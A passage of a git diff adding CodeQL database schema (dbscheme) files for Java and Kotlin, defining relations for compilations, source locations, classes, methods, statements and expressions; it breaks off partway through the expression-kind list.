+hasLocation(
+  int locatableid: @locatable ref,
+  int id: @location ref
+);
+
+@sourceline = @locatable ;
+
+#keyset[element_id]
+numlines(
+  int element_id: @sourceline ref,
+  int num_lines: int ref,
+  int num_code: int ref,
+  int num_comment: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+/*
+ * Java
+ */
+
+cupackage(
+  unique int id: @file ref,
+  int packageid: @package ref
+);
+
+#keyset[fileid,keyName]
+jarManifestMain(
+  int fileid: @file ref,
+  string keyName: string ref,
+  string value: string ref
+);
+
+#keyset[fileid,entryName,keyName]
+jarManifestEntries(
+  int fileid: @file ref,
+  string entryName: string ref,
+  string keyName: string ref,
+  string value: string ref
+);
+
+packages(
+  unique int id: @package,
+  string nodeName: string ref
+);
+
+primitives(
+  unique int id: @primitive,
+  string nodeName: string ref
+);
+
+modifiers(
+  unique int id: @modifier,
+  string nodeName: string ref
+);
+
+classes(
+  unique int id: @class,
+  string nodeName: string ref,
+  int parentid: @package ref,
+  int sourceid: @class ref
+);
+
+isRecord(
+  unique int id: @class ref
+);
+
+interfaces(
+  unique int id: @interface,
+  string nodeName: string ref,
+  int parentid: @package ref,
+  int sourceid: @interface ref
+);
+
+fielddecls(
+  unique int id: @fielddecl,
+  int parentid: @reftype ref
+);
+
+#keyset[fieldId] #keyset[fieldDeclId,pos]
+fieldDeclaredIn(
+  int fieldId: @field ref,
+  int fieldDeclId: @fielddecl ref,
+  int pos: int ref
+);
+
+fields(
+  unique int id: @field,
+  string nodeName: string ref,
+  int typeid: @type ref,
+  int parentid: @reftype ref,
+  int sourceid: @field ref
+);
+
+constrs(
+  unique int id: @constructor,
+  string nodeName: string ref,
+  string signature: string ref,
+  int typeid: @type ref,
+  int parentid: @reftype ref,
+  int sourceid: @constructor ref
+);
+
+methods(
+  unique int id: @method,
+  string nodeName: string ref,
+  string signature: string ref,
+  int typeid: @type ref,
+  int parentid: @reftype ref,
+  int sourceid: @method ref
+);
+
+#keyset[parentid,pos]
+params(
+  unique int id: @param,
+  int typeid: @type ref,
+  int pos: int ref,
+  int parentid: @callable ref,
+  int sourceid: @param ref
+);
+
+paramName(
+  unique int id: @param ref,
+  string nodeName: string ref
+);
+
+isVarargsParam(
+  int param: @param ref
+);
+
+exceptions(
+  unique int id: @exception,
+  int typeid: @type ref,
+  int parentid: @callable ref
+);
+
+isAnnotType(
+  int interfaceid: @interface ref
+);
+
+isAnnotElem(
+  int methodid: @method ref
+);
+
+annotValue(
+  int parentid: @annotation ref,
+  int id2: @method ref,
+  unique int value: @expr ref
+);
+
+isEnumType(
+  int classid: @class ref
+);
+
+isEnumConst(
+  int fieldid: @field ref
+);
+
+#keyset[parentid,pos]
+typeVars(
+  unique int id: @typevariable,
+  string nodeName: string ref,
+  int pos: int ref,
+  int kind: int ref, // deprecated
+  int parentid: @classorinterfaceorcallable ref
+);
+
+wildcards(
+  unique int id: @wildcard,
+  string nodeName: string ref,
+  int kind: int ref
+);
+
+#keyset[parentid,pos]
+typeBounds(
+  unique int id: @typebound,
+  int typeid: @reftype ref,
+  int pos: int ref,
+  int parentid: @boundedtype ref
+);
+
+#keyset[parentid,pos]
+typeArgs(
+  int argumentid: @reftype ref,
+  int pos: int ref,
+  int parentid: @classorinterfaceorcallable ref
+);
+
+isParameterized(
+  int memberid: @member ref
+);
+
+isRaw(
+  int memberid: @member ref
+);
+
+erasure(
+  unique int memberid: @member ref,
+  int erasureid: @member ref
+);
+
+#keyset[classid] #keyset[parent]
+isAnonymClass(
+  int classid: @class ref,
+  int parent: @classinstancexpr ref
+);
+
+#keyset[typeid] #keyset[parent]
+isLocalClassOrInterface(
+  int typeid: @classorinterface ref,
+  int parent: @localtypedeclstmt ref
+);
+
+isDefConstr(
+  int constructorid: @constructor ref
+);
+
+#keyset[exprId]
+lambdaKind(
+  int exprId: @lambdaexpr ref,
+  int bodyKind: int ref
+);
+
+arrays(
+  unique int id: @array,
+  string nodeName: string ref,
+  int elementtypeid: @type ref,
+  int dimension: int ref,
+  int componenttypeid: @type ref
+);
+
+enclInReftype(
+  unique int child: @reftype ref,
+  int parent: @reftype ref
+);
+
+extendsReftype(
+  int id1: @reftype ref,
+  int id2: @classorinterface ref
+);
+
+implInterface(
+  int id1: @classorarray ref,
+  int id2: @interface ref
+);
+
+permits(
+  int id1: @classorinterface ref,
+  int id2: @classorinterface ref
+);
+
+hasModifier(
+  int id1: @modifiable ref,
+  int id2: @modifier ref
+);
+
+imports(
+  unique int id: @import,
+  int holder: @classorinterfaceorpackage ref,
+  string name: string ref,
+  int kind: int ref
+);
+
+#keyset[parent,idx]
+stmts(
+  unique int id: @stmt,
+  int kind: int ref,
+  int parent: @stmtparent ref,
+  int idx: int ref,
+  int bodydecl: @callable ref
+);
+
+@stmtparent = @callable | @stmt | @switchexpr;
+
+case @stmt.kind of
+  0 = @block
+| 1 = @ifstmt
+| 2 = @forstmt
+| 3 = @enhancedforstmt
+| 4 = @whilestmt
+| 5 = @dostmt
+| 6 = @trystmt
+| 7 = @switchstmt
+| 8 = @synchronizedstmt
+| 9 = @returnstmt
+| 10 = @throwstmt
+| 11 = @breakstmt
+| 12 = @continuestmt
+| 13 = @emptystmt
+| 14 = @exprstmt
+| 15 = @labeledstmt
+| 16 = @assertstmt
+| 17 = @localvariabledeclstmt
+| 18 = @localtypedeclstmt
+| 19 = @constructorinvocationstmt
+| 20 = @superconstructorinvocationstmt
+| 21 = @case
+| 22 = @catchclause
+| 23 = @yieldstmt
+| 24 = @errorstmt
+;
+
+#keyset[parent,idx]
+exprs(
+  unique int id: @expr,
+  int kind: int ref,
+  int typeid: @type ref,
+  int parent: @exprparent ref,
+  int idx: int ref
+);
+
+callableEnclosingExpr(
+  unique int id: @expr ref,
+  int callable_id: @callable ref
+);
+
+statementEnclosingExpr(
+  unique int id: @expr ref,
+  int statement_id: @stmt ref
+);
+
+isParenthesized(
+  unique int id: @expr ref,
+  int parentheses: int ref
+);
+
+case @expr.kind of
+   1  = @arrayaccess
+|  2  = @arraycreationexpr
+|  3  = @arrayinit
+|  4  = @assignexpr
+|  5  = @assignaddexpr
+|  6  = @assignsubexpr
+|  7  = @assignmulexpr
+|  8  = @assigndivexpr
+|  9  = @assignremexpr
+| 10  = @assignandexpr
+| 11  = @assignorexpr
+| 12  = @assignxorexpr
+| 13  = @assignlshiftexpr
+| 14  = @assignrshiftexpr
+| 15  = @assignurshiftexpr
+| 16  = @booleanliteral
+| 17  = @integerliteral
+| 18  = @longliteral
+| 19  = @floatingpointliteral
+| 20  = @doubleliteral
+| 21  = @characterliteral
+| 22  = @stringliteral
+| 23  = @nullliteral
+| 24  = @mulexpr
+| 25  = @divexpr
+| 26  = @remexpr
+| 27  = @addexpr
+| 28  = @subexpr
+| 29  = @lshiftexpr
+| 30  = @rshiftexpr
+| 31  = @urshiftexpr
+| 32  = @andbitexpr
+| 33  = @orbitexpr
+| 34  = @xorbitexpr
+| 35  = @andlogicalexpr
+| 36  = @orlogicalexpr
+| 37  = @ltexpr
+| 38  = @gtexpr
+| 39  = @leexpr
+| 40  = @geexpr
+| 41  = @eqexpr
+| 42  = @neexpr
+| 43  = @postincexpr
+| 44  = @postdecexpr
+| 45  = @preincexpr
+| 46  = @predecexpr
+| 47  = @minusexpr
+| 48  = @plusexpr
+| 49  = @bitnotexpr
+| 50  = @lognotexpr
+| 51  = @castexpr
+| 52  = @newexpr
+| 53  = @conditionalexpr
+| 54  = @parexpr         // deprecated
+| 55  = @instanceofexpr
+| 56  = @localvariabledeclexpr
+| 57  = @typeliteral
+| 58  = @thisaccess
+| 59  = @superaccess
+| 60  = @varaccess
+| 61  = @methodaccess
+| 62  = @unannotatedtypeaccess
+| 63  = @arraytypeaccess
+| 64  = @packageaccess
+| 65  = @wildcardtypeaccess
+| 66  = @declannotation
+| 67  = @uniontypeaccess
+| 68  = @lambdaexpr
+| 69  = @memberref
+| 70  = @annotatedtypeaccess
+| 71  = @typeannotation
+| 72  = @intersectiontypeaccess
+| 73  = @switchexpr
+| 74  = @errorexpr
+;
+
+@classinstancexpr = @newexpr | @lambdaexpr | @memberref
+
+@annotation = @declannotation | @typeannotation
+@typeaccess = @unannotatedtypeaccess | @annotatedtypeaccess
+
+@assignment = @assignexpr
+             | @assignop;
+
+@unaryassignment = @postincexpr
+                 | @postdecexpr
+                 | @preincexpr
+                 | @predecexpr;
+
+@assignop = @assignaddexpr
+             | @assignsubexpr
+             | @assignmulexpr
+             | @assigndivexpr
+             | @assignremexpr
+             | @assignandexpr
+             | @assignorexpr
+             | @assignxorexpr
+             | @assignlshiftexpr
+             | @assignrshiftexpr
+             | @assignurshiftexpr;
+
+@literal = @booleanliteral
+             | @integerliteral
+             | @longliteral
+             | @floatingpointliteral
+             | @doubleliteral
+             | @characterliteral
+             | @stringliteral
+             | @nullliteral;
+
+@binaryexpr = @mulexpr
+             | @divexpr
+             | @remexpr
+             | @addexpr
+             | @subexpr
+             | @lshiftexpr
+             | @rshiftexpr
+             | @urshiftexpr
+             | @andbitexpr
+             | @orbitexpr
+             | @xorbitexpr
+             | @andlogicalexpr
+             | @orlogicalexpr
+             | @ltexpr
+             | @gtexpr
+             | @leexpr
+             | @geexpr
+             | @eqexpr
+             | @neexpr;
+
+@unaryexpr =   @postincexpr
+             | @postdecexpr
+             | @preincexpr
+             | @predecexpr
+             | @minusexpr
+             | @plusexpr
+             | @bitnotexpr
+             | @lognotexpr;
+
+@caller =  @classinstancexpr
+         | @methodaccess
+         | @constructorinvocationstmt
+         | @superconstructorinvocationstmt;
+
+callableBinding(
+  unique int callerid: @caller ref,
+  int callee: @callable ref
+);
+
+memberRefBinding(
+  unique int id: @expr ref,
+  int callable: @callable ref
+);
+
+@exprparent = @stmt | @expr | @callable | @field | @fielddecl | @class | @interface | @param | @localvar | @typevariable;
+
+variableBinding(
+  unique int expr: @varaccess ref,
+  int variable: @variable ref
+);
+
+@variable = @localscopevariable | @field;
+
+@localscopevariable = @localvar | @param;
+
+localvars(
+  unique int id: @localvar,
+  string nodeName: string ref,
+  int typeid: @type ref,
+  int parentid: @localvariabledeclexpr ref
+);
+
+@namedexprorstmt = @breakstmt
+                 | @continuestmt
+                 | @labeledstmt
+                 | @literal;
+
+namestrings(
+  string name: string ref,
+  string value: string ref,
+  unique int parent: @namedexprorstmt ref
+);
+
+/*
+ * Modules
+ */
+
+#keyset[name]
+modules(
+  unique int id: @module,
+  string name: string ref
+);
+
+isOpen(
+  int id: @module ref
+);
+
+#keyset[fileId]
+cumodule(
+  int fileId: @file ref,
+  int moduleId: @module ref
+);
+
+@directive = @requires
+           | @exports
+           | @opens
+           | @uses
+           | @provides
+
+#keyset[directive]
+directives(
+  int id: @module ref,
+  int directive: @directive ref
+);
+
+requires(
+  unique int id: @requires,
+  int target: @module ref
+);
+
+isTransitive(
+  int id: @requires ref
+);
+
+isStatic(
+  int id: @requires ref
+);
+
+exports(
+  unique int id: @exports,
+  int target: @package ref
+);
+
+exportsTo(
+  int id: @exports ref,
+  int target: @module ref
+);
+
+opens(
+  unique int id: @opens,
+  int target: @package ref
+);
+
+opensTo(
+  int id: @opens ref,
+  int target: @module ref
+);
+
+uses(
+  unique int id: @uses,
+  string serviceInterface: string ref
+);
+
+provides(
+  unique int id: @provides,
+  string serviceInterface: string ref
+);
+
+providesWith(
+  int id: @provides ref,
+  string serviceImpl: string ref
+);
+
+/*
+ * Javadoc
+ */
+
+javadoc(
+  unique int id: @javadoc
+);
+
+isNormalComment(
+  int commentid : @javadoc ref
+);
+
+isEolComment(
+  int commentid : @javadoc ref
+);
+
+hasJavadoc(
+  int documentableid: @member ref,
+  int javadocid: @javadoc ref
+);
+
+#keyset[parentid,idx]
+javadocTag(
+  unique int id: @javadocTag,
+  string name: string ref,
+  int parentid: @javadocParent ref,
+  int idx: int ref
+);
+
+#keyset[parentid,idx]
+javadocText(
+  unique int id: @javadocText,
+  string text: string ref,
+  int parentid: @javadocParent ref,
+  int idx: int ref
+);
+
+@javadocParent = @javadoc | @javadocTag;
+@javadocElement = @javadocTag | @javadocText;
+
+@classorinterface = @interface | @class;
+@classorinterfaceorpackage = @classorinterface | @package;
+@classorinterfaceorcallable = @classorinterface | @callable;
+@boundedtype = @typevariable | @wildcard;
+@reftype = @classorinterface | @array | @boundedtype;
+@classorarray = @class | @array;
+@type = @primitive | @reftype;
+@callable = @method | @constructor;
+@element = @file | @package | @primitive | @class | @interface | @method | @constructor | @modifier | @param | @exception | @field |
+           @annotation | @boundedtype | @array | @localvar | @expr | @stmt | @import | @fielddecl;
+
+@modifiable = @member_modifiable| @param | @localvar ;
+
+@member_modifiable = @class | @interface | @method | @constructor | @field ;
+
+@member = @method | @constructor | @field | @reftype ;
+
+@locatable = @file | @class | @interface | @fielddecl | @field | @constructor | @method | @param | @exception
+             | @boundedtype | @typebound | @array | @primitive
+             | @import | @stmt | @expr | @localvar | @javadoc | @javadocTag | @javadocText
+             | @xmllocatable;
+
+@top = @element | @locatable | @folder;
+
+/*
+ * XML Files
+ */
+
+xmlEncoding(
+  unique int id: @file ref,
+  string encoding: string ref
+);
+
+xmlDTDs(
+  unique int id: @xmldtd,
+  string root: string ref,
+  string publicId: string ref,
+  string systemId: string ref,
+  int fileid: @file ref
+);
+
+xmlElements(
+  unique int id: @xmlelement,
+  string name: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlAttrs(
+  unique int id: @xmlattribute,
+  int elementid: @xmlelement ref,
+  string name: string ref,
+  string value: string ref,
+  int idx: int ref,
+  int fileid: @file ref
+);
+
+xmlNs(
+  int id: @xmlnamespace,
+  string prefixName: string ref,
+  string URI: string ref,
+  int fileid: @file ref
+);
+
+xmlHasNs(
+  int elementId: @xmlnamespaceable ref,
+  int nsId: @xmlnamespace ref,
+  int fileid: @file ref
+);
+
+xmlComments(
+  unique int id: @xmlcomment,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int fileid: @file ref
+);
+
+xmlChars(
+  unique int id: @xmlcharacters,
+  string text: string ref,
+  int parentid: @xmlparent ref,
+  int idx: int ref,
+  int isCDATA: int ref,
+  int fileid: @file ref
+);
+
+@xmlparent = @file | @xmlelement;
+@xmlnamespaceable = @xmlelement | @xmlattribute;
+
+xmllocations(
+  int xmlElement: @xmllocatable ref,
+  int location: @location_default ref
+);
+
+@xmllocatable = @xmlcharacters | @xmlelement | @xmlcomment | @xmlattribute | @xmldtd | @file | @xmlnamespace;
+
+/*
+ * configuration files with key value pairs
+ */
+
+configs(
+  unique int id: @config
+);
+
+configNames(
+  unique int id: @configName,
+  int config: @config ref,
+  string name: string ref
+);
+
+configValues(
+  unique int id: @configValue,
+  int config: @config ref,
+  string value: string ref
+);
+
+configLocations(
+  int locatable: @configLocatable ref,
+  int location: @location_default ref
+);
+
+@configLocatable = @config | @configName | @configValue;
diff --git a/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/semmlecode.dbscheme b/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/semmlecode.dbscheme
new file mode 100755
index 00000000000..b9225587bc0
--- /dev/null
+++ b/java/ql/lib/upgrades/37f33da42d2cffa6ad8b26feaa6beed1c5ce3149/semmlecode.dbscheme
@@ -0,0 +1,1234 @@
+/**
+ * An invocation of the compiler. Note that more than one file may be
+ * compiled per invocation. For example, this command compiles three
+ * source files:
+ *
+ *   javac A.java B.java C.java
+ *
+ * The `id` simply identifies the invocation, while `cwd` is the working
+ * directory from which the compiler was invoked.
+ */
+compilations(
+    /**
+     * An invocation of the compiler. Note that more than one file may
+     * be compiled per invocation. For example, this command compiles
+     * three source files:
+     *
+     *   javac A.java B.java C.java
+     */
+    unique int id : @compilation,
+    int kind: int ref,
+    string cwd : string ref,
+    string name : string ref
+);
+
+case @compilation.kind of
+   1  = @javacompilation
+|  2  = @kotlincompilation
+;
+
+compilation_started(
+    int id : @compilation ref
+)
+
+/**
+ * The arguments that were passed to the extractor for a compiler
+ * invocation. If `id` is for the compiler invocation
+ *
+ *   javac A.java B.java C.java
+ *
+ * then typically there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0   | *path to extractor*
+ * 1   | `--javac-args`
+ * 2   | A.java
+ * 3   | B.java
+ * 4   | C.java
+ */
+#keyset[id, num]
+compilation_args(
+    int id : @compilation ref,
+    int num : int ref,
+    string arg : string ref
+);
+
+/**
+ * The source files that are compiled by a compiler invocation.
+ * If `id` is for the compiler invocation
+ *
+ *   javac A.java B.java C.java
+ *
+ * then there will be rows for
+ *
+ * num | arg
+ * --- | ---
+ * 0   | A.java
+ * 1   | B.java
+ * 2   | C.java
+ */
+#keyset[id, num]
+compilation_compiling_files(
+    int id : @compilation ref,
+    int num : int ref,
+    int file : @file ref
+);
+
+/**
+ * For each file recorded in `compilation_compiling_files`,
+ * there will be a corresponding row in
+ * `compilation_compiling_files_completed` once extraction
+ * of that file is complete. The `result` will indicate the
+ * extraction result:
+ *
+ *     0: Successfully extracted
+ *     1: Errors were encountered, but extraction recovered
+ *     2: Errors were encountered, and extraction could not recover
+ */
+#keyset[id, num]
+compilation_compiling_files_completed(
+    int id : @compilation ref,
+    int num : int ref,
+    int result : int ref
+);
+
+/**
+ * The time taken by the extractor for a compiler invocation.
+ *
+ * For each file `num`, there will be rows for
+ *
+ * kind | seconds
+ * ---- | ---
+ * 1    | CPU seconds used by the extractor frontend
+ * 2    | Elapsed seconds during the extractor frontend
+ * 3    | CPU seconds used by the extractor backend
+ * 4    | Elapsed seconds during the extractor backend
+ */
+#keyset[id, num, kind]
+compilation_time(
+    int id : @compilation ref,
+    int num : int ref,
+    /* kind:
+       1 = frontend_cpu_seconds
+       2 = frontend_elapsed_seconds
+       3 = extractor_cpu_seconds
+       4 = extractor_elapsed_seconds
+    */
+    int kind : int ref,
+    float seconds : float ref
+);
+
+/**
+ * An error or warning generated by the extractor.
+ * The diagnostic message `diagnostic` was generated during compiler
+ * invocation `compilation`, and is the `file_number_diagnostic_number`th
+ * message generated while extracting the `file_number`th file of that
+ * invocation.
+ */
+#keyset[compilation, file_number, file_number_diagnostic_number]
+diagnostic_for(
+    unique int diagnostic : @diagnostic ref,
+    int compilation : @compilation ref,
+    int file_number : int ref,
+    int file_number_diagnostic_number : int ref
+);
+
+/**
+ * The `cpu_seconds` and `elapsed_seconds` are the CPU time and elapsed
+ * time (respectively) that the original compilation (not the extraction)
+ * took for compiler invocation `id`.
+ */
+compilation_compiler_times(
+    unique int id : @compilation ref,
+    float cpu_seconds : float ref,
+    float elapsed_seconds : float ref
+);
+
+/**
+ * If extraction was successful, then `cpu_seconds` and
+ * `elapsed_seconds` are the CPU time and elapsed time (respectively)
+ * that extraction took for compiler invocation `id`.
+ * The `result` will indicate the extraction result:
+ *
+ *     0: Successfully extracted
+ *     1: Errors were encountered, but extraction recovered
+ *     2: Errors were encountered, and extraction could not recover
+ */
+compilation_finished(
+    unique int id : @compilation ref,
+    float cpu_seconds : float ref,
+    float elapsed_seconds : float ref,
+    int result : int ref
+);
+
+diagnostics(
+    unique int id: @diagnostic,
+    string generated_by: string ref, // TODO: Sync this with the other languages?
+    int severity: int ref,
+    string error_tag: string ref,
+    string error_message: string ref,
+    string full_error_message: string ref,
+    int location: @location_default ref
+);
+
+/*
+ * External artifacts
+ */
+
+externalData(
+  int id : @externalDataElement,
+  string path : string ref,
+  int column: int ref,
+  string value : string ref
+);
+
+snapshotDate(
+  unique date snapshotDate : date ref
+);
+
+sourceLocationPrefix(
+  string prefix : string ref
+);
+
+/*
+ * Duplicate code
+ */
+
+duplicateCode(
+  unique int id : @duplication,
+  string relativePath : string ref,
+  int equivClass : int ref
+);
+
+similarCode(
+  unique int id : @similarity,
+  string relativePath : string ref,
+  int equivClass : int ref
+);
+
+@duplication_or_similarity = @duplication | @similarity
+
+tokens(
+  int id : @duplication_or_similarity ref,
+  int offset : int ref,
+  int beginLine : int ref,
+  int beginColumn : int ref,
+  int endLine : int ref,
+  int endColumn : int ref
+);
+
+/*
+ * SMAP
+ */
+
+smap_header(
+  int outputFileId: @file ref,
+  string outputFilename: string ref,
+  string defaultStratum: string ref
+);
+
+smap_files(
+  int outputFileId: @file ref,
+  string stratum: string ref,
+  int inputFileNum: int ref,
+  string inputFileName: string ref,
+  int inputFileId: @file ref
+);
+
+smap_lines(
+  int outputFileId: @file ref,
+  string stratum: string ref,
+  int inputFileNum: int ref,
+  int inputStartLine: int ref,
+  int inputLineCount: int ref,
+  int outputStartLine: int ref,
+  int outputLineIncrement: int ref
+);
+
+/*
+ * Locations and files
+ */
+
+@location = @location_default ;
+
+locations_default(
+  unique int id: @location_default,
+  int file: @file ref,
+  int beginLine: int ref,
+  int beginColumn: int ref,
+  int endLine: int ref,
+  int endColumn: int ref
+);
+
+hasLocation(
+  int locatableid: @locatable ref,
+  int id: @location ref
+);
+
+@sourceline = @locatable ;
+
+#keyset[element_id]
+numlines(
+  int element_id: @sourceline ref,
+  int num_lines: int ref,
+  int num_code: int ref,
+  int num_comment: int ref
+);
+
+files(
+  unique int id: @file,
+  string name: string ref
+);
+
+folders(
+  unique int id: @folder,
+  string name: string ref
+);
+
+@container = @folder | @file
+
+containerparent(
+  int parent: @container ref,
+  unique int child: @container ref
+);
+
+/*
+ * Java
+ */
+
+cupackage(
+  unique int id: @file ref,
+  int packageid: @package ref
+);
+
+#keyset[fileid,keyName]
+jarManifestMain(
+  int fileid: @file ref,
+  string keyName: string ref,
+  string value: string ref
+);
+
+#keyset[fileid,entryName,keyName]
+jarManifestEntries(
+  int fileid: @file ref,
+  string entryName: string ref,
+  string keyName: string ref,
+  string value: string ref
+);
+
+packages(
+  unique int id: @package,
+  string nodeName: string ref
+);
+
+primitives(
+  unique int id: @primitive,
+  string nodeName: string ref
+);
+
+modifiers(
+  unique int id: @modifier,
+  string nodeName: string ref
+);
+
+classes(
+  unique int id: @class,
+  string nodeName: string ref,
+  int parentid: @package ref,
+  int sourceid: @class ref
+);
+
+file_class(
+  int id: @class ref
+);
+
+class_object(
+  unique int id: @class ref,
+  unique int instance: @field ref
+);
+
+type_companion_object(
+  unique int id: @classorinterface ref,
+  unique int instance: @field ref,
+  unique int companion_object: @class ref
+);
+
+kt_nullable_types(
+  unique int id: @kt_nullable_type,
+  int classid: @reftype ref
+)
+
+kt_notnull_types(
+  unique int id: @kt_notnull_type,
+  int classid: @reftype ref
+)
+
+kt_type_alias(
+  unique int id: @kt_type_alias,
+  string name: string ref,
+  int kttypeid: @kt_type ref
+)
+
+@kt_type = @kt_nullable_type | @kt_notnull_type
+
+isRecord(
+  unique int id: @class ref
+);
+
+interfaces(
+  unique int id: @interface,
+  string nodeName: string ref,
+  int parentid: @package ref,
+  int sourceid: @interface ref
+);
+
+fielddecls(
+  unique int id: @fielddecl,
+  int parentid: @reftype ref
+);
+
+#keyset[fieldId] #keyset[fieldDeclId,pos]
+fieldDeclaredIn(
+  int fieldId: @field ref,
+  int fieldDeclId: @fielddecl ref,
+  int pos: int ref
+);
+
+fields(
+  unique int id: @field,
+  string nodeName: string ref,
+  int typeid: @type ref,
+  int parentid: @reftype ref,
+  int sourceid: @field ref
+);
+
+fieldsKotlinType(
+  unique int id: @field ref,
+  int kttypeid: @kt_type ref
+);
+
+constrs(
+  unique int id: @constructor,
+  string nodeName: string ref,
+  string signature: string ref,
+  int typeid: @type ref,
+  int parentid: @reftype ref,
+  int sourceid: @constructor ref
+);
+
+constrsKotlinType(
+  unique int id: @constructor ref,
+  int kttypeid: @kt_type ref
+);
+
+methods(
+  unique int id: @method,
+  string nodeName: string ref,
+  string signature: string ref,
+  int typeid: @type ref,
+  int parentid: @reftype ref,
+  int sourceid: @method ref
+);
+
+methodsKotlinType(
+  unique int id: @method ref,
+  int kttypeid: @kt_type ref
+);
+
+#keyset[parentid,pos]
+params(
+  unique int id: @param,
+  int typeid: @type ref,
+  int pos: int ref,
+  int parentid: @callable ref,
+  int sourceid: @param ref
+);
+
+paramsKotlinType(
+  unique int id: @param ref,
+  int kttypeid: @kt_type ref
+);
+
+paramName(
+  unique int id: @param ref,
+  string nodeName: string ref
+);
+
+isVarargsParam(
+  int param: @param ref
+);
+
+exceptions(
+  unique int id: @exception,
+  int typeid: @type ref,
+  int parentid: @callable ref
+);
+
+isAnnotType(
+  int interfaceid: @interface ref
+);
+
+isAnnotElem(
+  int methodid: @method ref
+);
+
+annotValue(
+  int parentid: @annotation ref,
+  int id2: @method ref,
+  unique int value: @expr ref
+);
+
+isEnumType(
+  int classid: @class ref
+);
+
+isEnumConst(
+  int fieldid: @field ref
+);
+
+#keyset[parentid,pos]
+typeVars(
+  unique int id: @typevariable,
+  string nodeName: string ref,
+  int pos: int ref,
+  int kind: int ref, // deprecated
+  int parentid: @classorinterfaceorcallable ref
+);
+
+wildcards(
+  unique int id: @wildcard,
+  string nodeName: string ref,
+  int kind: int ref
+);
+
+#keyset[parentid,pos]
+typeBounds(
+  unique int id: @typebound,
+  int typeid: @reftype ref,
+  int pos: int ref,
+  int parentid: @boundedtype ref
+);
+
+#keyset[parentid,pos]
+typeArgs(
+  int argumentid: @reftype ref,
+  int pos: int ref,
+  int parentid: @classorinterfaceorcallable ref
+);
+
+isParameterized(
+  int memberid: @member ref
+);
+
+isRaw(
+  int memberid: @member ref
+);
+
+erasure(
+  unique int memberid: @member ref,
+  int erasureid: @member ref
+);
+
+#keyset[classid] #keyset[parent]
+isAnonymClass(
+  int classid: @class ref,
+  int parent: @classinstancexpr ref
+);
+
+#keyset[typeid] #keyset[parent]
+isLocalClassOrInterface(
+  int typeid: @classorinterface ref,
+  int parent: @localtypedeclstmt ref
+);
+
+isDefConstr(
+  int constructorid: @constructor ref
+);
+
+#keyset[exprId]
+lambdaKind(
+  int exprId: @lambdaexpr ref,
+  int bodyKind: int ref
+);
+
+arrays(
+  unique int id: @array,
+  string nodeName: string ref,
+  int elementtypeid: @type ref,
+  int dimension: int ref,
+  int componenttypeid: @type ref
+);
+
+enclInReftype(
+  unique int child: @reftype ref,
+  int parent: @reftype ref
+);
+
+extendsReftype(
+  int id1: @reftype ref,
+  int id2: @classorinterface ref
+);
+
+implInterface(
+  int id1: @classorarray ref,
+  int id2: @interface ref
+);
+
+permits(
+  int id1: @classorinterface ref,
+  int id2: @classorinterface ref
+);
+
+hasModifier(
+  int id1: @modifiable ref,
+  int id2: @modifier ref
+);
+
+imports(
+  unique int id: @import,
+  int holder: @classorinterfaceorpackage ref,
+  string name: string ref,
+  int kind: int ref
+);
+
+#keyset[parent,idx]
+stmts(
+  unique int id: @stmt,
+  int kind: int ref,
+  int parent: @stmtparent ref,
+  int idx: int ref,
+  int bodydecl: @callable ref
+);
+
+@stmtparent = @callable | @stmt | @switchexpr | @whenexpr| @stmtexpr;
+
+case @stmt.kind of
+  0 = @block
+| 1 = @ifstmt
+| 2 = @forstmt
+| 3 = @enhancedforstmt
+| 4 = @whilestmt
+| 5 = @dostmt
+| 6 = @trystmt
+| 7 = @switchstmt
+| 8 = @synchronizedstmt
+| 9 = @returnstmt
+| 10 = @throwstmt
+| 11 = @breakstmt
+| 12 = @continuestmt
+| 13 = @emptystmt
+| 14 = @exprstmt
+| 15 = @labeledstmt
+| 16 = @assertstmt
+| 17 = @localvariabledeclstmt
+| 18 = @localtypedeclstmt
+| 19 = @constructorinvocationstmt
+| 20 = @superconstructorinvocationstmt
+| 21 = @case
+| 22 = @catchclause
+| 23 = @yieldstmt
+| 24 = @errorstmt
+| 25 = @whenbranch
+;
+
+#keyset[parent,idx]
+exprs(
+  unique int id: @expr,
+  int kind: int ref,
+  int typeid: @type ref,
+  int parent: @exprparent ref,
+  int idx: int ref
+);
+
+exprsKotlinType(
+  unique int id: @expr ref,
+  int kttypeid: @kt_type ref
+);
+
+callableEnclosingExpr(
+  unique int id: @expr ref,
+  int callable_id: @callable ref
+);
+
+statementEnclosingExpr(
+  unique int id: @expr ref,
+  int statement_id: @stmt ref
+);
+
+isParenthesized(
+  unique int id: @expr ref,
+  int parentheses: int ref
+);
+
+case @expr.kind of
+   1  = @arrayaccess
+|  2  = @arraycreationexpr
+|  3  = @arrayinit
+|  4  = @assignexpr
+|  5  = @assignaddexpr
+|  6  = @assignsubexpr
+|  7  = @assignmulexpr
+|  8  = @assigndivexpr
+|  9  = @assignremexpr
+| 10  = @assignandexpr
+| 11  = @assignorexpr
+| 12  = @assignxorexpr
+| 13  = @assignlshiftexpr
+| 14  = @assignrshiftexpr
+| 15  = @assignurshiftexpr
+| 16  = @booleanliteral
+| 17  = @integerliteral
+| 18  = @longliteral
+| 19  = @floatingpointliteral
+| 20  = @doubleliteral
+| 21  = @characterliteral
+| 22  = @stringliteral
+| 23  = @nullliteral
+| 24  = @mulexpr
+| 25  = @divexpr
+| 26  = @remexpr
+| 27  = @addexpr
+| 28  = @subexpr
+| 29  = @lshiftexpr
+| 30  = @rshiftexpr
+| 31  = @urshiftexpr
+| 32  = @andbitexpr
+| 33  = @orbitexpr
+| 34  = @xorbitexpr
+| 35  = @andlogicalexpr
+| 36  = @orlogicalexpr
+| 37  = @ltexpr
+| 38  = @gtexpr
+| 39  = @leexpr
+| 40  = @geexpr
+| 41  = @eqexpr
+| 42  = @neexpr
+| 43  = @postincexpr
+| 44  = @postdecexpr
+| 45  = @preincexpr
+| 46  = @predecexpr
+| 47  = @minusexpr
+| 48  = @plusexpr
+| 49  = @bitnotexpr
+| 50  = @lognotexpr
+| 51  = @castexpr
+| 52  = @newexpr
+| 53  = @conditionalexpr
+| 54  = @parexpr         // deprecated
